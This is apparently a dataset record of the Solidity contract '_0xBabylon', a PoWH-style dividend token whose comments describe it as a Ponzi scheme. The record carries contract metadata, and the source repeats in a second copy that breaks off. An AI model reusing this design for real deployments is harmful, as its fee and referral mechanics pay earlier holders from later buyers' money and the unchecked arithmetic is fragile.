buy( forWho ,cR,cG,cB); lastGateway = msg.sender; } else { revert(); } } function reinvest_color(address forWho,uint256 cR,uint256 cG,uint256 cB) public { cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); processReinvest( forWho, cR,cG,cB); } function reinvest(address forWho) public { processReinvest( forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } // Function that returns the (dynamic) price of a single token. function price(bool buyOrSell) public constant returns (uint) { if(buyOrSell){ return getTokensForEther(1 finney); }else{ uint256 eth = getEtherForTokens(1 finney); uint256 fee = fluxFeed(eth, false, false); return eth - fee; } } function fluxFeed(uint256 _eth, bool slim_reinvest,bool newETH) public constant returns (uint256 amount) { uint256 finalInvestSum; if(newETH) finalInvestSum = investSum-_eth;//bigger buy bonus else finalInvestSum = investSum; uint256 contract_ETH = finalInvestSum - withdrawSum; if(slim_reinvest){//trickleSum can never be 0, trust me return _eth/(contract_ETH/trickleSum) * contract_ETH /investSum; }else{ return _eth * contract_ETH / investSum; } /* Fee 100eth IN & 100eth OUT = 0% tax fee (returning 1) 100eth IN & 50eth OUT = 50% tax fee (returning 2) 100eth IN & 33eth OUT = 66% tax fee (returning 3) 100eth IN & 25eth OUT = 75% tax fee (returning 4) 100eth IN & 10eth OUT = 90% tax fee (returning 10) */ } // Calculate the current dividends associated with the caller address. This is the net result // of multiplying the number of tokens held by their current value in Ether and subtracting the // Ether that has already been paid out. function dividends(address _owner) public constant returns (uint256 amount) { return (uint256) ((int256)( earningsPerBond * holdings[_owner] ) - payouts[_owner] ) / scaleFactor; } // Internal balance function, used to calculate the dynamic reserve value. function contractBalance() internal constant returns (uint256 amount){ // msg.value is the amount of Ether sent by the transaction. return investSum - withdrawSum - msg.value - trickleSum; } function trickleUp(address fromWho) internal{//you can trickle up other people by giving them some. uint256 tricks = tricklingPass[ fromWho ];//this is the amount moving in the trickle flo if(tricks > 0){ tricklingPass[ fromWho ] = 0;//we've already captured the amount so set your tricklingPass flo to 0 uint256 passUp = tricks * (investSum - withdrawSum)/investSum;//to get the amount we're gonna pass up. divide by trickTax uint256 reward = tricks-passUp;//and our remaining reward for ourselves is the amount we just slice off subtracted from the flo address finalReff;//we're not exactly sure who we're gonna pass this up to yet address reffo = reff[ fromWho ];//this is who it should go up to. if everything is legit if( holdings[reffo] >= stakingRequirement){ finalReff = reffo;//if that address is holding enough to stake, it's a legit node to flo up to. }else{ finalReff = lastGateway;//if not, then we use the last buyer } tricklingPass[ finalReff ] += passUp;//so now we add that flo you've passed up to the tricklingPass of the final Reff pocket[ finalReff ] += reward;// Reward emit onTrickle(fromWho, finalReff, reward, passUp); } } function buy(address forWho,uint256 cR,uint256 cG,uint256 cB) internal { // Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it. if (msg.value < 0.000001 ether || msg.value > 1000000 ether) revert(); //Fee to pay existing holders, and the referral commission uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(msg.value,false,true); trickle = fee/trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } uint256 numEther = msg.value - (fee+trickle);// The amount of Ether used to purchase new tokens for the caller. uint256 numTokens = 0; if(numEther > 0){ numTokens = getTokensForEther(numEther);// The number of tokens which can be purchased for numEther. buyCalcAndPayout( forWho, fee, numTokens, numEther, reserve() ); addPigment(forWho, numTokens,cR,cG,cB); } if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff or if that masternode is weak, then reset it if(reff[forWho] == 0x0000000000000000000000000000000000000000 || (holdings[reff[forWho]] < stakingRequirement) ) reff[forWho] = msg.sender; emit onBoughtFor(msg.sender, forWho, numEther, numTokens, reff[forWho] ); }else{ emit onTokenPurchase(forWho, numEther ,numTokens , reff[forWho] ); } trickleSum += trickle;//add to trickle's Sum after reserve calculations trickleUp(forWho); } function buyCalcAndPayout(address forWho,uint256 fee,uint256 numTokens,uint256 numEther,uint256 res)internal{ // The buyer fee, scaled by the scaleFactor variable. uint256 buyerFee = fee * scaleFactor; if (totalBondSupply > 0){// because ... // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. uint256 bonusCoEff = (scaleFactor - (res + numEther) * numTokens * scaleFactor / ( totalBondSupply + numTokens) / numEther) *(uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. uint256 holderReward = fee * bonusCoEff; buyerFee -= holderReward; // The Ether value per token is increased proportionally. earningsPerBond += holderReward / totalBondSupply; } //resolve reward tracking stuff avgFactor_ethSpent[forWho] += numEther; // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalBondSupply += numTokens; // Assign the tokens to the balance of the buyer. holdings[forWho] += numTokens; // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... int256 payoutDiff = (int256) ((earningsPerBond * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[forWho] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; } // Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee // to discouraging dumping, and means that if someone near the top sells, the fee distributed // will be *significant*. function TOKEN_scaleDown(uint256 value,uint256 reduce) internal view returns(uint256 x){ uint256 holdingsOfSender = holdings[msg.sender]; return value * ( holdingsOfSender - reduce) / holdingsOfSender; } function sell(uint256 amount) internal { uint256 numEthersBeforeFee = getEtherForTokens(amount); // x% of the resulting Ether is used to pay remaining holders. uint256 fee = 0; uint256 trickle = 0; if(totalBondSupply != holdings[msg.sender]){ fee = fluxFeed(numEthersBeforeFee, false,false); trickle = fee/ trickTax; fee -= trickle; tricklingPass[msg.sender] +=trickle; } // Net Ether for the seller after the fee has been subtracted. uint256 numEthers = numEthersBeforeFee - (fee+trickle); //How much you bought it for divided by how much you're getting back. //This means that if you get dumped on, you can get more resolve tokens if you sell out. uint256 resolved = mint( calcResolve(msg.sender,amount,numEthersBeforeFee), msg.sender ); // *Remove* the numTokens which were just sold from the total supply. avgFactor_ethSpent[msg.sender] = TOKEN_scaleDown(avgFactor_ethSpent[msg.sender] , amount); color_R[msg.sender] = TOKEN_scaleDown(color_R[msg.sender] , amount); color_G[msg.sender] = TOKEN_scaleDown(color_G[msg.sender] , amount); color_B[msg.sender] = TOKEN_scaleDown(color_B[msg.sender] , amount); totalBondSupply -= amount; // Remove the tokens from the balance of the buyer. holdings[msg.sender] -= amount; int256 payoutDiff = (int256) (earningsPerBond * amount);//we don't add in numETH because it is immedietly paid out. // We reduce the amount paid out to the seller (this effectively resets their payouts value to zero, // since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if // they decide to buy back in. payouts[msg.sender] -= payoutDiff; // Decrease the total amount that's been paid out to maintain invariance. totalPayouts -= payoutDiff; // Check that we have tokens in existence (this is a bit of an irrelevant check since we're // selling tokens, but it guards against division by zero). if (totalBondSupply > 0) { // Scale the Ether taken as the selling fee by the scaleFactor variable. uint256 etherFee = fee * scaleFactor; // Fee is distributed to all remaining token holders. // rewardPerShare is the amount gained per token thanks to this sell. uint256 rewardPerShare = etherFee / totalBondSupply; // The Ether value per token is increased proportionally. earningsPerBond += rewardPerShare; } fullCycleSellBonds(numEthers); trickleSum += trickle; trickleUp(msg.sender); emit onTokenSell(msg.sender,holdings[msg.sender]+amount,amount,numEthers,resolved,reff[msg.sender]); } // Converts the Ether accrued as dividends back into Staking tokens without having to // withdraw it first. Saves on gas and potential price spike loss. function processReinvest(address forWho,uint256 cR,uint256 cG,uint256 cB) internal{ // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. // Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Assign balance to a new variable. uint256 pocketETH = pocket[msg.sender]; uint value_ = (uint) (balance + pocketETH); pocket[msg.sender] = 0; // If your dividends are worth less than 1 szabo, or more than a million Ether // (in which case, why are you even here), abort. if (value_ < 0.000001 ether || value_ > 1000000 ether) revert(); uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(value_, true,false );// reinvestment fees are lower than regular ones. trickle = fee/ trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } // A temporary reserve variable used for calculating the reward the holder gets for buying tokens. // (Yes, the buyer receives a part of the distribution as well!) uint256 res = reserve() - balance; // The amount of Ether used to purchase new tokens for the caller. uint256 numEther = value_ - (fee+trickle); // The number of tokens which can be purchased for numEther. uint256 numTokens = calculateDividendTokens(numEther, balance); buyCalcAndPayout( forWho, fee, numTokens, numEther, res ); addPigment(forWho, numTokens,cR,cG,cB); if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff, then reset it address reffOfWho = reff[forWho]; if(reffOfWho == 0x0000000000000000000000000000000000000000 || (holdings[reffOfWho] < stakingRequirement) ) reff[forWho] = msg.sender; emit onReinvestFor(msg.sender,forWho,numEther,numTokens,reff[forWho]); }else{ emit onReinvestment(forWho,numEther,numTokens,reff[forWho]); } trickleUp(forWho); trickleSum += trickle - pocketETH; } function addPigment(address forWho, uint256 tokens,uint256 r,uint256 g,uint256 b) internal{ color_R[forWho] += tokens * r / 255; color_G[forWho] += tokens * g / 255; color_B[forWho] += tokens * b / 255; emit onColor(forWho,r,g,b,color_R[forWho] ,color_G[forWho] ,color_B[forWho] ); } // Dynamic value of Ether in reserve, according to the CRR requirement. function reserve() internal constant returns (uint256 amount){ return contractBalance()-((uint256) ((int256) (earningsPerBond * totalBondSupply) - totalPayouts ) / scaleFactor); } // Calculates the number of tokens that can be bought for a given amount of Ether, according to the // dynamic reserve and totalSupply values (derived from the buy and sell prices). function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply ; } // Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion. function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply; } // Converts a number tokens into an Ether value. function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) { // How much reserve Ether do we have left in the contract? uint256 reserveAmount = reserve(); // If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault. if (tokens == totalBondSupply ) return reserveAmount; // If there would be excess Ether left after the transaction this is called within, return the Ether // corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found // at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator // and denominator altered to 1 and 2 respectively. return reserveAmount - fixedExp((fixedLog(totalBondSupply - tokens) - price_coeff) * crr_d/crr_n); } function () payable public { if (msg.value > 0) { fund(lastGateway,msg.sender); } else { withdraw(msg.sender); } } address public resolver = this; uint256 public totalSupply; uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name = "0xBabylon"; uint8 public decimals = 18; string public symbol = "PoWHr"; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Resolved(address indexed _owner, uint256 amount); function mint(uint256 amount,address _account) internal returns (uint minted){ totalSupply += amount; balances[_account] += amount; emit Resolved(_account,amount); return amount; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function calcResolve(address _owner,uint256 amount,uint256 _eth) public constant returns (uint256 calculatedResolveTokens) { return amount*amount*avgFactor_ethSpent[_owner]/holdings[_owner]/_eth/1000000; } function transfer(address _to, uint256 _value) public returns (bool success) { require( balanceOf(msg.sender) >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){ uint256 allowance = allowed[_from][msg.sender]; require( balanceOf(_from) >= _value && allowance >= _value ); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function resolveSupply() public view returns (uint256 balance) { return totalSupply; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } // You don't care about these, but if you really do they're hex values for // co-efficients used to simulate approximations of the log and exp functions. int256 constant one = 0x10000000000000000; uint256 constant sqrt2 = 0x16a09e667f3bcc908; uint256 constant sqrtdot5 = 0x0b504f333f9de6484; int256 constant ln2 = 0x0b17217f7d1cf79ac; int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8; int256 constant c1 = 0x1ffffffffff9dac9b; int256 constant c3 = 0x0aaaaaaac16877908; int256 constant c5 = 0x0666664e5e9fa0c99; int256 constant c7 = 0x049254026a7630acf; int256 constant c9 = 0x038bd75ed37753d68; int256 constant c11 = 0x03284a0c14610924f; // The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11 // approximates the function log(1+x)-log(1-x) // Hence R(s) = log((1+s)/(1-s)) = log(a) function fixedLog(uint256 a) internal pure returns (int256 log) { int32 scale = 0; while (a > sqrt2) { a /= 2; scale++; } while (a <= sqrtdot5) { a *= 2; scale--; } int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one); int256 z = (s*s) / one; return scale * ln2 + (s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one)) /one))/one))/one))/one))/one); } int256 constant c2 = 0x02aaaaaaaaa015db0; int256 constant c4 = -0x000b60b60808399d1; int256 constant c6 = 0x0000455956bccdd06; int256 constant c8 = -0x000001b893ad04b3a; // The polynomial R = 2 + c2*x^2 + c4*x^4 + ... // approximates the function x*(exp(x)+1)/(exp(x)-1) // Hence exp(x) = (R(x)+x)/(R(x)-x) function fixedExp(int256 a) internal pure returns (uint256 exp) { int256 scale = (a + (ln2_64dot5)) / ln2 - 64; a -= scale*ln2; int256 z = (a*a) / one; int256 R = ((int256)(2) * one) + (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one); exp = (uint256) (((R + a) * one) / (R - a)); if (scale >= 0) exp <<= scale; else exp >>= -scale; return exp; } }
holdingsOf
function holdingsOf(address _owner) public constant returns (uint256 balance) { return holdings[_owner]; }
// The following functions are used by the front-end for display purposes. // Returns the number of tokens currently held by _owner.
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 3664, 3777 ] }
1,477
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denominator uint256 constant fee_premine = 30;//Fee Premine. So that the first buyer isn't a black hole int constant price_coeff = 0x44fa9cf152cd34a98; // Array between each address and their number of tokens. mapping(address => uint256) public holdings; //cut down by a percentage when you sell out. mapping(address => uint256) public avgFactor_ethSpent; mapping(address => uint256) public color_R; mapping(address => uint256) public color_G; mapping(address => uint256) public color_B; // Array between each address and how much Ether has been paid out to it. // Note that this is scaled by the scaleFactor variable. mapping(address => address) public reff; mapping(address => uint256) public tricklingPass; mapping(address => uint256) public pocket; mapping(address => int256) public payouts; // Variable tracking how many tokens are in existence overall. uint256 public totalBondSupply; // Aggregate sum of all payouts. // Note that this is scaled by the scaleFactor variable. int256 totalPayouts; uint256 public trickleSum; uint256 public stakingRequirement = 1e18; address public lastGateway; uint256 constant trickTax = 3; //divides flux'd fee and for every pass up //flux fee ratio and contract score keepers uint256 public withdrawSum; uint256 public investSum; // Variable tracking how much Ether each token is currently worth. // Note that this is scaled by the scaleFactor variable. uint256 earningsPerBond; event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onBoughtFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onReinvestFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onTokenSell( address indexed customerAddress, uint256 totalTokensAtTheTime,//maybe it'd be cool to see what % people are selling from their total bank uint256 tokensBurned, uint256 ethereumEarned, uint256 resolved, address indexed gateway ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted, address indexed gateway ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event onCashDividends( address indexed ownerAddress, address indexed receiverAddress, uint256 ethereumWithdrawn ); event onColor( address indexed customerAddress, uint256 oldR, uint256 oldG, uint256 oldB, uint256 newR, uint256 newG, uint256 newB ); event onTrickle( address indexed fromWho, address indexed finalReff, uint256 reward, uint256 passUp ); // The following functions are used by the front-end for display purposes. // Returns the number of tokens currently held by _owner. function holdingsOf(address _owner) public constant returns (uint256 balance) { return holdings[_owner]; } // Withdraws all dividends held by the caller sending the transaction, updates // the requisite global variables, and transfers Ether back to the caller. function withdraw(address to) public { if(to == 0x0000000000000000000000000000000000000000 ){ to = msg.sender; } trickleUp(msg.sender); // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); //uint256 pocketBalance = tricklePocket[msg.sender]; //tricklePocket[msg.sender] = 0; // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); uint256 pocketETH = pocket[msg.sender]; pocket[msg.sender] = 0; trickleSum -= pocketETH; balance += pocketETH; // Send the dividends to the address that requested the withdraw. withdrawSum += balance; to.transfer(balance); emit onCashDividends(msg.sender,to,balance); } function fullCycleSellBonds(uint256 balance) internal { // Send the cashed out stake to the address that requested the withdraw. withdrawSum += balance; msg.sender.transfer(balance); emit onWithdraw(msg.sender, balance); } // Sells your tokens for Ether. This Ether is assigned to the callers entry // in the tokenBalance array, and therefore is shown as a dividend. A second // call to withdraw() must be made to invoke the transfer of Ether back to your address. function sellBonds(uint256 _amount) public { uint256 bondBalance = holdings[msg.sender]; if(_amount <= bondBalance && _amount > 0){ sell(_amount); }else{ sell(bondBalance); } } // The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately // invokes the withdraw() function, sending the resulting Ether to the callers address. function getMeOutOfHere() public { sellBonds( holdings[msg.sender] ); withdraw(msg.sender); } function reffUp(address _reff) internal{ address sender = msg.sender; if (_reff == 0x0000000000000000000000000000000000000000 || _reff == msg.sender){ _reff = reff[sender]; } if( holdings[_reff] < stakingRequirement ){//if req not met if(lastGateway == 0x0000000000000000000000000000000000000000){ lastGateway = sender;//first buyer ever _reff = sender;//first buyer is their own gateway/masternode //initialize fee pre-mine investSum = msg.value * fee_premine; withdrawSum = msg.value * fee_premine; } else _reff = lastGateway;//the lucky last player gets to be the gate way. } reff[sender] = _reff; } function rgbLimit(uint256 _rgb)internal pure returns(uint256){ if(_rgb > 255) return 255; else return _rgb; } //BONUS //when you don't pick a color, the contract will need a default. which will be your current color function edgePigment(uint8 C)internal view returns (uint256 x) { uint256 holding = holdings[msg.sender]; if(holding==0) return 0; else{ if(C==0){ return 255 * color_R[msg.sender]/holding; }else if(C==1){ return 255 * color_G[msg.sender]/holding; }else if(C==2){ return 255 * color_B[msg.sender]/holding; } } } function fund(address reffo, address forWho) payable public { fund_color( reffo, forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } function fund_color( address _reff, address forWho,uint256 cR,uint256 cG,uint256 cB) payable public { // Don't allow for funding if the amount of Ether sent is less than 1 szabo. reffUp(_reff); if (msg.value > 0.000001 ether){ investSum += msg.value; cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); buy( forWho ,cR,cG,cB); lastGateway = msg.sender; } else { revert(); } } function reinvest_color(address forWho,uint256 cR,uint256 cG,uint256 cB) public { cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); processReinvest( forWho, cR,cG,cB); } function reinvest(address forWho) public { processReinvest( forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } // Function that returns the (dynamic) price of a single token. function price(bool buyOrSell) public constant returns (uint) { if(buyOrSell){ return getTokensForEther(1 finney); }else{ uint256 eth = getEtherForTokens(1 finney); uint256 fee = fluxFeed(eth, false, false); return eth - fee; } } function fluxFeed(uint256 _eth, bool slim_reinvest,bool newETH) public constant returns (uint256 amount) { uint256 finalInvestSum; if(newETH) finalInvestSum = investSum-_eth;//bigger buy bonus else finalInvestSum = investSum; uint256 contract_ETH = finalInvestSum - withdrawSum; if(slim_reinvest){//trickleSum can never be 0, trust me return _eth/(contract_ETH/trickleSum) * contract_ETH /investSum; }else{ return _eth * contract_ETH / investSum; } /* Fee 100eth IN & 100eth OUT = 0% tax fee (returning 1) 100eth IN & 50eth OUT = 50% tax fee (returning 2) 100eth IN & 33eth OUT = 66% tax fee (returning 3) 100eth IN & 25eth OUT = 75% tax fee (returning 4) 100eth IN & 10eth OUT = 90% tax fee (returning 10) */ } // Calculate the current dividends associated with the caller address. This is the net result // of multiplying the number of tokens held by their current value in Ether and subtracting the // Ether that has already been paid out. function dividends(address _owner) public constant returns (uint256 amount) { return (uint256) ((int256)( earningsPerBond * holdings[_owner] ) - payouts[_owner] ) / scaleFactor; } // Internal balance function, used to calculate the dynamic reserve value. function contractBalance() internal constant returns (uint256 amount){ // msg.value is the amount of Ether sent by the transaction. return investSum - withdrawSum - msg.value - trickleSum; } function trickleUp(address fromWho) internal{//you can trickle up other people by giving them some. uint256 tricks = tricklingPass[ fromWho ];//this is the amount moving in the trickle flo if(tricks > 0){ tricklingPass[ fromWho ] = 0;//we've already captured the amount so set your tricklingPass flo to 0 uint256 passUp = tricks * (investSum - withdrawSum)/investSum;//to get the amount we're gonna pass up. divide by trickTax uint256 reward = tricks-passUp;//and our remaining reward for ourselves is the amount we just slice off subtracted from the flo address finalReff;//we're not exactly sure who we're gonna pass this up to yet address reffo = reff[ fromWho ];//this is who it should go up to. if everything is legit if( holdings[reffo] >= stakingRequirement){ finalReff = reffo;//if that address is holding enough to stake, it's a legit node to flo up to. }else{ finalReff = lastGateway;//if not, then we use the last buyer } tricklingPass[ finalReff ] += passUp;//so now we add that flo you've passed up to the tricklingPass of the final Reff pocket[ finalReff ] += reward;// Reward emit onTrickle(fromWho, finalReff, reward, passUp); } } function buy(address forWho,uint256 cR,uint256 cG,uint256 cB) internal { // Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it. if (msg.value < 0.000001 ether || msg.value > 1000000 ether) revert(); //Fee to pay existing holders, and the referral commission uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(msg.value,false,true); trickle = fee/trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } uint256 numEther = msg.value - (fee+trickle);// The amount of Ether used to purchase new tokens for the caller. uint256 numTokens = 0; if(numEther > 0){ numTokens = getTokensForEther(numEther);// The number of tokens which can be purchased for numEther. buyCalcAndPayout( forWho, fee, numTokens, numEther, reserve() ); addPigment(forWho, numTokens,cR,cG,cB); } if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff or if that masternode is weak, then reset it if(reff[forWho] == 0x0000000000000000000000000000000000000000 || (holdings[reff[forWho]] < stakingRequirement) ) reff[forWho] = msg.sender; emit onBoughtFor(msg.sender, forWho, numEther, numTokens, reff[forWho] ); }else{ emit onTokenPurchase(forWho, numEther ,numTokens , reff[forWho] ); } trickleSum += trickle;//add to trickle's Sum after reserve calculations trickleUp(forWho); } function buyCalcAndPayout(address forWho,uint256 fee,uint256 numTokens,uint256 numEther,uint256 res)internal{ // The buyer fee, scaled by the scaleFactor variable. uint256 buyerFee = fee * scaleFactor; if (totalBondSupply > 0){// because ... // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. uint256 bonusCoEff = (scaleFactor - (res + numEther) * numTokens * scaleFactor / ( totalBondSupply + numTokens) / numEther) *(uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. uint256 holderReward = fee * bonusCoEff; buyerFee -= holderReward; // The Ether value per token is increased proportionally. earningsPerBond += holderReward / totalBondSupply; } //resolve reward tracking stuff avgFactor_ethSpent[forWho] += numEther; // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalBondSupply += numTokens; // Assign the tokens to the balance of the buyer. holdings[forWho] += numTokens; // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... int256 payoutDiff = (int256) ((earningsPerBond * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[forWho] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; } // Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee // to discouraging dumping, and means that if someone near the top sells, the fee distributed // will be *significant*. function TOKEN_scaleDown(uint256 value,uint256 reduce) internal view returns(uint256 x){ uint256 holdingsOfSender = holdings[msg.sender]; return value * ( holdingsOfSender - reduce) / holdingsOfSender; } function sell(uint256 amount) internal { uint256 numEthersBeforeFee = getEtherForTokens(amount); // x% of the resulting Ether is used to pay remaining holders. uint256 fee = 0; uint256 trickle = 0; if(totalBondSupply != holdings[msg.sender]){ fee = fluxFeed(numEthersBeforeFee, false,false); trickle = fee/ trickTax; fee -= trickle; tricklingPass[msg.sender] +=trickle; } // Net Ether for the seller after the fee has been subtracted. uint256 numEthers = numEthersBeforeFee - (fee+trickle); //How much you bought it for divided by how much you're getting back. //This means that if you get dumped on, you can get more resolve tokens if you sell out. uint256 resolved = mint( calcResolve(msg.sender,amount,numEthersBeforeFee), msg.sender ); // *Remove* the numTokens which were just sold from the total supply. avgFactor_ethSpent[msg.sender] = TOKEN_scaleDown(avgFactor_ethSpent[msg.sender] , amount); color_R[msg.sender] = TOKEN_scaleDown(color_R[msg.sender] , amount); color_G[msg.sender] = TOKEN_scaleDown(color_G[msg.sender] , amount); color_B[msg.sender] = TOKEN_scaleDown(color_B[msg.sender] , amount); totalBondSupply -= amount; // Remove the tokens from the balance of the buyer. holdings[msg.sender] -= amount; int256 payoutDiff = (int256) (earningsPerBond * amount);//we don't add in numETH because it is immedietly paid out. // We reduce the amount paid out to the seller (this effectively resets their payouts value to zero, // since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if // they decide to buy back in. payouts[msg.sender] -= payoutDiff; // Decrease the total amount that's been paid out to maintain invariance. totalPayouts -= payoutDiff; // Check that we have tokens in existence (this is a bit of an irrelevant check since we're // selling tokens, but it guards against division by zero). if (totalBondSupply > 0) { // Scale the Ether taken as the selling fee by the scaleFactor variable. uint256 etherFee = fee * scaleFactor; // Fee is distributed to all remaining token holders. // rewardPerShare is the amount gained per token thanks to this sell. uint256 rewardPerShare = etherFee / totalBondSupply; // The Ether value per token is increased proportionally. earningsPerBond += rewardPerShare; } fullCycleSellBonds(numEthers); trickleSum += trickle; trickleUp(msg.sender); emit onTokenSell(msg.sender,holdings[msg.sender]+amount,amount,numEthers,resolved,reff[msg.sender]); } // Converts the Ether accrued as dividends back into Staking tokens without having to // withdraw it first. Saves on gas and potential price spike loss. function processReinvest(address forWho,uint256 cR,uint256 cG,uint256 cB) internal{ // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. // Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Assign balance to a new variable. uint256 pocketETH = pocket[msg.sender]; uint value_ = (uint) (balance + pocketETH); pocket[msg.sender] = 0; // If your dividends are worth less than 1 szabo, or more than a million Ether // (in which case, why are you even here), abort. if (value_ < 0.000001 ether || value_ > 1000000 ether) revert(); uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(value_, true,false );// reinvestment fees are lower than regular ones. trickle = fee/ trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } // A temporary reserve variable used for calculating the reward the holder gets for buying tokens. // (Yes, the buyer receives a part of the distribution as well!) uint256 res = reserve() - balance; // The amount of Ether used to purchase new tokens for the caller. uint256 numEther = value_ - (fee+trickle); // The number of tokens which can be purchased for numEther. uint256 numTokens = calculateDividendTokens(numEther, balance); buyCalcAndPayout( forWho, fee, numTokens, numEther, res ); addPigment(forWho, numTokens,cR,cG,cB); if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff, then reset it address reffOfWho = reff[forWho]; if(reffOfWho == 0x0000000000000000000000000000000000000000 || (holdings[reffOfWho] < stakingRequirement) ) reff[forWho] = msg.sender; emit onReinvestFor(msg.sender,forWho,numEther,numTokens,reff[forWho]); }else{ emit onReinvestment(forWho,numEther,numTokens,reff[forWho]); } trickleUp(forWho); trickleSum += trickle - pocketETH; } function addPigment(address forWho, uint256 tokens,uint256 r,uint256 g,uint256 b) internal{ color_R[forWho] += tokens * r / 255; color_G[forWho] += tokens * g / 255; color_B[forWho] += tokens * b / 255; emit onColor(forWho,r,g,b,color_R[forWho] ,color_G[forWho] ,color_B[forWho] ); } // 